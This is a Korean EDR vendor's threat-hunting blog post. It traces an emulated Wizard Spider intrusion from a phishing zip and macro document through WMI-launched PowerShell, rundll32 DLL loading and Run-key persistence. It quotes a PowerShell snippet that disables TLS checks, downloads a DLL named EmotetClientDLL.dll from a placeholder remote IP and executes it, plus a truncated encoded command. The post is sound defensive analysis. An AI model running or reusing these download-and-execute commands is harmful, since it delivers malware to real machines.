<img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=939333007162424&amp;ev=PageView&amp;noscript=1">

EDR을 활용한 공격자 행위 추적하기

부제:  Happy Threat Hunting Part 1.

ana-itonishvili-_meIjZYso8M-unsplash

Photo by Ana Itonishvili on Unsplash

#Threat Hunting #Threat Detection and Incident Response

Genians Security Center는 기업에 대한 위협을 식별하고 대응하기 위한 능동적이며 효율적인 Threat Hunting 전략을 연구하며 제시합니다. Threat Hunting 이란 발생할 수 있거나 진행되고 있는 위협을 제거하며, 그 결과를 기업의 보안체계에 적용하는 능동적인 대응 전략입니다.

이를 통해 창의적이고 고도화되는 공격 전략에 지속적으로 대응할 수 있는 기업의 보안 수준을 만들 수 있습니다. 그중 첫 번째는 EDR에서 수집되는 행위 이벤트를 기반으로 TDIR(Threat Detection and Incident Response) 하는 것입니다.


#Artifact #User Entity and Behavior Analytics #Cyber Adversary and Behavior Analytics

EDR에서 분석 대상이 되는 행위 이벤트는 굉장히 효율적인 아티팩트(Artifact)입니다. DFIR(Digital Forensic and Incident Response)을 하기 위한 아티팩트에 비해 상대적으로 장기간 데이터를 효율적으로 확보할 수 있으며, 공격자 행위를 해석하는 데 직관적입니다.

단지, 이를 활용하기 위해서는 공격자 관점에서 공격 전술과 실제 수행하는 기법들을 이해하며 이를 위협(Threat)으로 정의할 수 있어야 합니다. 정의된 위협 정보들을 통해 실제 수행된 공격의 흐름을 해석하고 유입 경로와 확산 범위를 추적할 수 있어야 합니다. 이를 위해서는 UEBA(User Entity and Behavior Analytics)라는 분석 방법론과 함께 CABA(Cyber Adversary and Behavior Analytics)를 적용해야 합니다.

 

1-May-03-2023-12-52-29-6199-AM
[그림 1] 행위 이벤트 분석방법, UEBA와 CABA
 

이러한 내용을 EDR을 활용한 방법으로 소개하려고 합니다. 하지만, 고객사의 중요한 데이터를 공개할 수는 없습니다. 고민 끝에 ATT&CK Evaluations에서 사용되는 공격 행위 시나리오를 통해 내용을 제공하고자 합니다. ATT&CK Evaluations 이란 MITRE사의 ATT&CK을 기반으로 더 나은 보안 제품을 만들고자 하는 평가입니다. 매년 특정 공격자 그룹의 Operations을 분석하여 그 결과를 통해 공격자 행위 에뮬레이션 합니다. 이번에는 작년에 진행된 Wizard Spider에 대해서 적용한 내용을 공유합니다. 

EDR을 이용해 위협 탐지를 할 수 있는 상황은 공격 흐름상 외부에서 내부로 접근하는 단계와 내부에 거점을 확보한 후 목적에 따라 공격 전술을 수행하는 단계입니다. 이는 ATT&CK에서 정의하고 있는 총 14개의 공격 전술 중 기업 외부에서 진행되는 [Reconnaissance], [Resource Development]를 제외한 12개의 공격 전술을 탐지할 수 있음을 의미합니다. [그림 2]을 보시면 관련 Evaluations에서 수행된 공격의 흐름을 확인할 수 있습니다.

2-4
[그림 2] ATT&CK Evaluation, Wizard Spider

 

#Threat #공격지표 #IoA #IndicataorofAttack

EDR에서는 공격 지표(IoA), 침해 지표(IoC) 및 ML을 통해 위협 정보를 생성하고 [그림 3]처럼 사용자에게 제공합니다. 이번 포스팅에서는 행위이벤트로 정의된 공격지표를 통해 행위 이벤트를 해석하고 추적해 보겠습니다. EDR에서 발생하는 위협 정보는 공격 행위를 탐지하기 위한 다른 솔루션들과 마찬가지로 위협 인지를 위한 목적을 가집니다. 그 예제는 아래와 같습니다.

 

EDR 활용 – 탐지된 위협정보 확인
[그림 3] EDR 활용 – 탐지된 위협정보 확인
 

탐지된 위협 정보는 많은 정보들을 담고 있습니다. 먼저 식별해야 하는 정보들은 위협이 발생한 엔드포인트, 즉 관련 1) PC 혹은 서버의 정보와 2) 탐지된 위협이 언제 탐지되었는지 관련된 이벤트 유형과 프로세스와 관련된 내용을 확인해야 합니다. 관련된 위협 정보를 정리해 보면 [표 1]과 같습니다.

 

[표 1] 위협 정보

위협 정보(Threat Information)

엔드포인트 정보(Endpoint)
도메인 주  소: vault.com
도메인 사용자: bravo

탐지 정보(Detection)
탐지된 시각: 2023-04-24 17:18:51
관련 이벤트: registry / RegSetValue
프로세스: rundll32.exe
커맨드라인: "C:\Windows\system32\rundll32.exe" C:\Users\bravo\AppData\Roaming\\adb.dll,Control_RunDLL
공격 기법: [T1547.001] Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder

 

[중요] 탐지된 정보를 판단하기 위해서는 관련 프로세스 트리를 확인해야 합니다. EDR에서는 [그림 4]처럼 공격 스토리 라인을 통해 실행된 프로세스의 흐름을 추적하여 직관적인 형태로 판단할 수 있도록 화면을 제공합니다. 행위이벤트 특성상 탐지된 위협 정보만으로 데이터를 해석하는 데 한계가 있으며, 공격 스토리라인을 통해 공격행위를 판단하는 것은 필수적입니다.반드시 인지한 위협 정보를 기반으로 프로세스 트리 전체를 해석하시길 바랍니다.

4 (1)

[그림 4] EDR 활용 – 공격 스토리 라인
 

프로세스를 기반으로 실행되는 흐름과 각 프로세스를 기준으로 발생한 행위 이벤트를 정리하는 것을 추천드립니다. 위협과 관련된 프로세스 트리를 분석하다 보면 다양한 상황이 있을 수 있습니다. 이를 효율적으로 판단하고 해석하기 위한 초기 방향은 공격자 그룹의 공격 전술과 공격 기법에 대한 지식을 기반으로 해야 합니다. 관련 업무를 하신다면 동향과 사고 사례들에 관심을 가지는 것이 유리할 수 있습니다. EDR에서는 탐지된 정보를 통해 좀 더 위협과 관련이 있는 부분들에 대해서 가이드를 하고 있습니다.

프로세스 트리를 좀 더 활용할 수 있으려면 몇 가지 특징을 이해해야 합니다. 첫 번째 특징은 프로세스 트리에 포함된 위협 정보를 인지하고 해석할 수 있어야 합니다. 사이버 공격도 실제 전쟁과 같습니다. 공격과 대응에 대한 기술들이 발전해 왔으며, 공격자의 인프라, 기업의 인프라에 따라 유형도 다양하고 고도화된 공격 기법들이 수행됩니다. 이에 대응하기 위해서는 공격자들을 이해하고 대응하기 위한 전문성이 필요합니다. EDR에서는 위협 정보에 대한 표준화를 위해 ATT&CK을 적용하고 있습니다. 표준화된 정보는 공격 행위를 해석하는 데 굉장한 도움이 됩니다.

예를 들어, [그림 5]처럼 위협과 관련된 공격 기법인 [T1547.001] Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder는 공격자가 제어 권한을 획득한 시스템에 대한 지속적으로 연결을 확보하기 위한 목적으로 윈도우에서 자동 실행 레지스트리 경로에 등록하여 시스템 부팅 시 실행되도록 수행한 것입니다. 하지만 같은 공격 기법이라도 공격자들이 수행하는 방식은 달라질 수 있습니다. 그렇기 때문에 실제로 수행된 명령어, 악성코드, 도구 등에 대한 데이터를 확보해야 합니다. 이것을 공격자의 TTPs(Tactics, Techniques, Procedures)를 의미합니다. 

 

ATT&CK, T1547.001
[그림 5] ATT&CK, T1547.001
 

두 번째 특징은 EDR에서 제공하는 행위 이벤트에 대한 이해가 필요합니다. 기본적인 행위 이벤트는 공격 기법을 정의할 수 있는 구조를 가지고 있습니다. 이러한 행위 이벤트는 [그림 6]처럼 사용자가 해석하기 위해 직관적인 이름과 해석에 필요한 메타데이터를 포함하고 있습니다. 이러한 구조는 [그림 7] 처럼 공격 지표를 정의하는 데 최적화되어 있습니다.

 

MITRE ATT&CK, Data Sources
[그림 6] MITRE ATT&CK, Data Sources
 


효과적으로 위협을 추적하기 위한 데이터 구조
[그림 7] 효과적으로 위협을 추적하기 위한 데이터 구조
 




#FileDownload #DocOpen


Genian EDR에서는 공격 행위를 추적하기 위한 이벤트를 추가 확보하여 제공합니다. 이러한 이벤트를 통해 외부에서 다운로드된 파일의 유입 경로와 사용자가 문서 파일을 실행하는 경우에 대해서 직접적인 증거를 확보합니다. 이러한 이벤트는 파일의 유입 경로와 초기 실행 경로를 분석하는 데 효과적이며, 기존의 브라우저 히스토리, 파일시스템 메타데이터, Prefetch, UserAssist와 같은 증거에 대한 확보 및 분석에 대한 과정을 대체할 수 있습니다.

8 (1)

[그림 8] EDR 활용 – FileDownload 이벤트


9 (1) 

[그림 9] EDR 활용 – DocOpen 이벤트
 



#AMSI #RunScript


또한, 윈도우에 AMSI(Windows Antimalware Scan Interface) 기능을 통해 생성된 이벤트를 통해 파워쉘 명령어, 스크립트 형태(PS1, VBA, VBS, JS 등)의 파일에서 실행되는 Fileless 형태의 공격을 분석할 수 있습니다. [그림 10]처럼 AMSI 이벤트를 통해 난독화된 스크립트에 대해서 복호화 하는 작업을 줄일 수 있으며, 문서 파일을 이용한 악성 스크립트 실행, 대응 전략 우회를 위한 난독화되며 실행 후 자가 삭제하는 등의 공격 기법들에 대해서 사용된 데이터 확보 및 분석할 수 있습니다.

 

10 (1)

[그림 10] EDR 활용 –AMSI 이벤트
 

이러한 특징들을 적용하여 프로세스 트리를 해석해야 합니다. [프로세스 트리 1]의 이벤트를 요약하면, 공격자는 rundll32.exe를 이용해 악성 행위를 하는 adb.dll을 실행시켜서 C2 서버와의 연결 후 자동 실행 레지스트리를 이용해 연결 지속성을 확보했습니다. 이후 오피스 프로그램 중 아웃룩 프로그램을 대상으로 악성 기능을 수행하는 Outlook.dll을 다운로드 후 파워쉘 명령어를 통해 메일 계정 정보를 획득했습니다. 


[프로세스 트리 1]

 - svchost.exe
  • WmiPrivSE.exe
    • powershell.exe
    • [AMSI] Fileless Execution
      • rundll32.exe
      • [T1218.011] System Binary Proxy Execution: Rundll32
        [ModuleLoad] adb.dll
      • [T1071.001] Application Layer Protocol: Web Protocols
        [NetworkConnect] TCP-OUT, {Remote IP Address}, 80
      • [T1547.001] Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder
        [RegSetValue] HKCU\[생략]\Windows\CurrentVersion\Run, 
      • [FileCreate] C:\Windows\System32\Outlook.dll
      • [FileDownload] {Remote IP Address}, C:\Windows\System32\Outlook.dll
      • [T1218.011] System Binary Proxy Execution: Rundll32
        [ModuleLoad] Outlook.dll
    • cmd.exe
      • powershell.exe
      • [AMSI] Fileless Execution
    • cmd.exe
      • powershell.exe
      • [AMSI] Fileless Execution

[경고] 초기 위협 정보를 기반으로 공격자의 흐름을 확인한 후 종료되면 안 됩니다. 해석된 결과에 대해서 관련성 있는 이벤트를 추적해야 합니다. 이때, 분석가는 스스로 가설을 세워야 하며, 이를 증명하는 과정을 진행합니다. 이때 세우는 가설에 따라, 분석에 대한 리소스가 많이 소비될 수 있습니다. 아래 2가지 질문을 예를 들어 진행해 보겠습니다.

1.    WmiPrivSE.exe, 즉 WMI를 이용해서 실행된 것으로 보이는 데 어떻게 실행되었는가?
2.    adb.dll은 어떻게 생성이 되었는가?


# adb.dll은 어떻게 생성이 되었는가?

[그림 11] 처럼 rundll32.exe를 실행시킨 powershell.exe에서 생성된 AMSI 이벤트를 통해 바로 확인이 가능합니다. 실행된 파워쉘 명령어는 [표 2]와 같으며, 관련 내용을 해석해 보면 파워쉘 명령어를 통해 공격자 서버의 기능을 통해 dll 다운로드하는 후 실행하는 것을 확인할 수 있습니다.

 

11 (1)

[그림 11] adb.dll은 어떻게 생성이 되었는가?
 

sleep 5;
Write-Host "Creating staging directory";
New-Item -Path "$env:AppData\" -ItemType Directory -erroraction silentlycontinue;
$exec_path = "$env:AppData\" + "\" + "adb.dll";
… 생략 … 
Invoke-Expression($ignore_tls_errors);
[Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy;
$web_client = New-Object System.Net.WebClient;
Write-Host "Downloading payload";
$web_client.DownloadFile("https://{Remote IP Address}/getFile/EmotetClientDLL.dll", $exec_path);
Write-Host "Executing payload";
$args = $exec_path + ",Control_RunDLL";
rundll32.exe $args;sleep 5;

[표 2] adb.dll은 어떻게 생성이 되었는가?

 

# WmiPrivSE.exe, 즉 WMI를 이용해서 실행된 것으로 보이는 데 어떻게 실행되었는가?

현재 보고 있는 프로세스 트리를 벗어나 추적 범위를 확장해야 합니다. 이벤트 조사를 통해 타임라인 기반으로 실행된 프로세스를 역추적합니다. [그림 12]처럼 현재 가설의 기준이 되는 프로세스 실행 시간을 기준으로 5분 전후 실행된 프로세스를 검색합니다. 검색 결과 [그림 13] 처럼 타임라인 상에 winword.exe에 의해 ChristmasCard.dotm이라는 매크로가 포함된 워드 파일이 실행되며 이후 cmd.exe를 통해 adb.txt를 adb.vbs로 변경, 해당 vbs 스크립트 파일을 실행하는 것까지 확인할 수 있습니다. 

 

EDR 활용 – 추적범위 확장을 위한 타임라인 분석, Process 이벤트
[그림 12] EDR 활용 – 추적범위 확장을 위한 타임라인 분석, Process 이벤트
 

WmiPrivSE.exe, 즉 WMI를 이용해서 실행된 것으로 보이는 데 어떻게 실행되었는가? - 1
[그림 13] WmiPrivSE.exe, 즉 WMI를 이용해서 실행된 것으로 보이는 데 어떻게 실행되었는가? - 1
 

또한, [그림 14] 처럼 AMSI 이벤트를 통해 실행된 데이터를 확인해 보면 [표 3]과 같이 윈도우의 WMI를 이용해 실행되는 것을 확인할 수 있으며, 인코딩된 파워쉘 명령어를 디코딩 해보면 [표 2]과 동일한 명령어를 확인할 수 있습니다.

 

 WmiPrivSE.exe, 즉 WMI를 이용해서 실행된 것으로 보이는 데 어떻게 실행되었는가? - 2
[그림 14] WmiPrivSE.exe, 즉 WMI를 이용해서 실행된 것으로 보이는 데 어떻게 실행되었는가? - 2

Win32_ProcessStartup.GetObject();
Win32_Process.GetObject();
SetPropValue.CommandLine("powershell.exe -EncodedCommand cwBsAGUAZQBwACAANQA7AFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEMAcgBlAGEAdABpAG4AZwAgAHMAdABhAGcAaQBuAGcAIABkAGkAcgBlAGMAdABvAHIAeQAiADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBwAHAARABhAHQ
….생략”)

[표 3] WmiPrivSE.exe, 즉 WMI를 이용해서 실행된 것으로 보이는 데 어떻게 실행되었는가?


여기서 다시 한번 궁금증이 생기는데요, 바로 아래와 같습니다.
-    ChristmasCard.docm이라는 파일이 어떻게 유입되었는가?


# ChristmasCard.docm이라는 파일이 어떻게 유입되었는가?

다시 한번 추적 범위를 확장하기 위해 이벤트 조사에서 타임라인 분석을 하며, 이번에는 분석 기준의 대상이 파일로써 파일 이벤트를 대상으로 타임라인을 조정하여 데이터를 분석합니다. 파일 이벤트의 경우, 프로세스에 비해 상대적으로 많을 수 있습니다. 이럴 때는 검색 필터를 이용해 통계적으로 유입 경로와 관련 있는 이벤트가 발생했는지 확인합니다.


#FileDownload #RelatedFile

FileDownload 이벤트[그림 15]를 통해 구글 메일 서비스를 통해 압축파일이 다운로드된 것을 확인할 수 있습니다. 다운로드된 WizardSpider.zip을 대상으로 이벤트 조사를 해보면 RelatedFile 이벤트[그림 16]를 확인할 수 있습니다. 관련 이벤트를 통해 압축해제된 파일과의 연관성을 추적할 수 있습니다. 이를 통해 ChristmasCard.docm 파일이 유입된 경로까지 함께 확인해보았습니다.

 

15 (1)

[그림 15] EDR 활용 - FileDownload
 

EDR 활용 – RelatedFile
[그림 16] EDR 활용 – RelatedFile
  

관련되어 현재까지 분석된 이벤트 중에서 필요한 내용들만 식별하면 [프로세스 트리 2]와 같습니다. 관련된 내용을 요약하면 공격자는 악성 워드 파일을 압축하여 기업 내부 사용자에게 전송했습니다. 이후 관련 메일을 통해 첨부된 워드 파일을 실행한 내부 사용자에 의해 워드 파일의 VBA 매크로를 통해 공격자의 서버에서 연결을 시도했습니다. 연결이 성공되면 VBS 스크립트 파일을 txt 파일 확장자로 다운로드한 후 경로와 이름을 기존 VBS 확장자로 변경합니다. 공격자는 해당 VBS 스크립트를 cmd.exe로 실행하여 이후 공격 단계를 수행했습니다.


[프로세스 트리 2]

-    explorer.exe
  • msedge.exe
  • [FileDownload] mail.google.com,C:\Users\bravo\Downloads\WizardSpider.zip
  • [FileCreate] C:\Users\bravo\Downloads\WizardSpider.zip

-    [RelatedFile]

C:\Users\bravo\Downloads\WizardSpider.zip
C:\Users\bravo\Desktop\ChristmasCard.docm

  •  winword.exe 
  • [DocOpen]
    • C:\Users\bravo\Desktop\ChristmasCard.docm
  • [T1059.005] Command and Scripting Interpreter: Visual Basic
    [ModuleLoad] 
    C:\Program Files (x86)\Common Files\microsoft shared\VBA\VBA7\VBE7.DLL
  • [T1071.001] Application Layer Protocol: Web Protocols
    [NetworkConnect] TCP-OUT, {Remote IP Address}, 8080
  • [FileCreate] 
    C:\Users\bravo\AppData\Local\Microsoft\Windows\{생략}\adb[1].txt
    • cmd.exe, 
      /c move C:\Users\Public\adb.txt 
      C:\Users\bravo\AppData\Roaming\adb.vbs
    • [FileCreate] C:\Users\bravo\AppData\Roaming\adb.vbs
    • cmd.exe
      • [T1059.003] Command and Scripting Interpreter: Windows Command Shell
      • cscript.exe, C:\Users\bravo\AppData\Roaming\adb.vbs

 


#결론 #다음이야기

EDR의 행위 이벤트 만으로 공격자의 공격 행위를 추적을 해보았으며, 이번 포스팅에서 확인한 내용은 아래 그림처럼WizardSpider의 Operations 중 [Phishing] -> [Establish Persistence] -> [Discovery]에 해당되는 분석 내용이었습니다. 

 

Last
 

하지만, 실제로 기업 데이터를 분석해야 하는 입장에서는 행위 이벤트 특성상 정상 행위와 공격 행위를 구분하는 게 제일 큰 숙제이며, 분석하는 과정에 포함되어 있는 정상 데이터들을 안정적이며 효과적으로 제거하는 것도 또한 쉽지 않은 일입니다. 관련되어 Genian EDR에 대시보드를 이용한 데이터 기반 분석 전략과 함께 다시 한번 찾아뵙겠습니다.

글쓴이. 유현

l3Iadk | Threat Hunter | Genians Security Center

지니언스 시큐리티 센터에서 공격자 관점의 위협탐지와 EDR을 이용해 위협사냥을 하고 있습니다.


New call-to-action New call-to-action